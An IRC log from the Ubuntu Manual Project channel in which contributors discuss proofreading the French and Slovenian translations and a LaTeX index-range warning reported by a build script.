<godbyk> cqfd93: The Slovenian translators are currently proofreading as well.
<cqfd93> :-)
<cqfd93> Currently, we're just fixing misspellings and typos
<cqfd93> no spaces problems, yet!
<godbyk> Excellent!
<godbyk> Are you still inserting the nbsp and nnbsp yourself are did you decide do let LaTeX do it?
<cqfd93> There are [nbsp], ~, \, and maybe still some [nnbsp] but this time, I'll let LaTex take care of the spaces
<cqfd93> it will have to ignore what translators used :-)
<godbyk> I can probably convince LaTeX to ignore those. :)
<cqfd93> ;-)
<cqfd93> I asked the proofreaders to finish proofreading by Monday May 28
<cqfd93> asked them to ignore any spaces problem
<cqfd93> Yesterday, CarstenG helped me fix all the compilation errors I was getting when making the French manual
<godbyk> Cool.
<godbyk> It sounds like you're making quick work of it.
<cqfd93> Yes!
<cqfd93> Your "build" script also helped
<godbyk> Ah, I'm glad.
<godbyk> Some day I'd like to get back to improving that script so it can find more types of bugs.
<cqfd93> Now I'm waiting for a raring version of Carsten's script (he said he would update it on next week)
<cqfd93> With your script, I ony get 1 warning:
<cqfd93> Warning: https://translations.launchpad.net/ubuntu-manual/raring/+pots/ubuntu-manual/fr/1061/+translate
<cqfd93>          https://translations.launchpad.net/ubuntu-manual/raring/+pots/ubuntu-manual/fr/1106/+translate
<cqfd93>          Index entry beginning page range has no matching end page number.
<cqfd93> Both strings contain |( or |)
<cqfd93> I thought these had been removed from all translatable strings
<godbyk> The build script doesn't know about the new index commands, so it may be misreporting bugs there.
<godbyk> I'll have to look into it.
<godbyk> I know that Carsten also encountered a problem with the new index commands in one or two cases.
<godbyk> I can't recall if he found a workaround or if it just switched the problematic cases with \index{blah|(}.
<cqfd93> There's only 1 string with each of these commands, I wonder if they are really needed, or should be converted to the new syntax
<godbyk> Does that string have an @ in it?
<godbyk> I want to say there was some index entry where we originally switched to the new commands and had to switch it back because it wasn't working properly and we couldn't sort out why.
<cqfd93> Yes :   CD et DVD@\acronym{CD} et \acronym{DVD}!gravure|)
<godbyk> Okay, yeah.. I think that's the index entry we had problems with.
<godbyk> For some reason, it was being added to the index twice.
<godbyk> And Carsten and I couldn't figure out why.
<godbyk> Since we were out of time (we noticed it the day the manual needed to be published), we just reverted to the |( and |) index commands for that one.
<cqfd93> OK
<cqfd93> Hi CarstenG!
<CarstenG> Hi Sylvie
<godbyk> Hey, CarstenG.
<CarstenG> Hi
<CarstenG> Sylvie, did you fix the fr.po?
<cqfd93> Yes, carsten
<cqfd93> witk kevin's script, I only get 1 warning:
<cqfd93> Warning: https://translations.launchpad.net/ubuntu-manual/raring/+pots/ubuntu-manual/fr/1061/+translate
<cqfd93> (22:34:26) cqfd93:          https://translations.launchpad.net/ubuntu-manual/raring/+pots/ubuntu-manual/fr/1106/+translate
<cqfd93> (22:34:26) cqfd93:          Index entry beginning page range has no matching end page number.
<CarstenG> This you can ignore
<cqfd93> It's the |( and |) index commands problem
<cqfd93> French translation is complete and this evening, we started proofreading
<godbyk> cqfd93: I think you and Andrej are racing to see which will be finished first: French or Slovenian.
<cqfd93> ;-)
<cqfd93> We started way behind the Spanish, now we're ahead of them :-)
<cqfd93> Time to go to bed.  Good night!
<CarstenG> I too.
<CarstenG> see you
<CarstenG> have a nice weekend.
<cqfd93> you too!
* godbyk changed the topic of #ubuntu-manual to: Ubuntu Manual Project discussion | Style Guide: http://files.ubuntu-manual.org/style-guide.pdf | Website: http://ubuntu-manual.org | Launchpad: https://launchpad.net/ubuntu-manual | IRC logs: http://irclogs.ubuntu.com
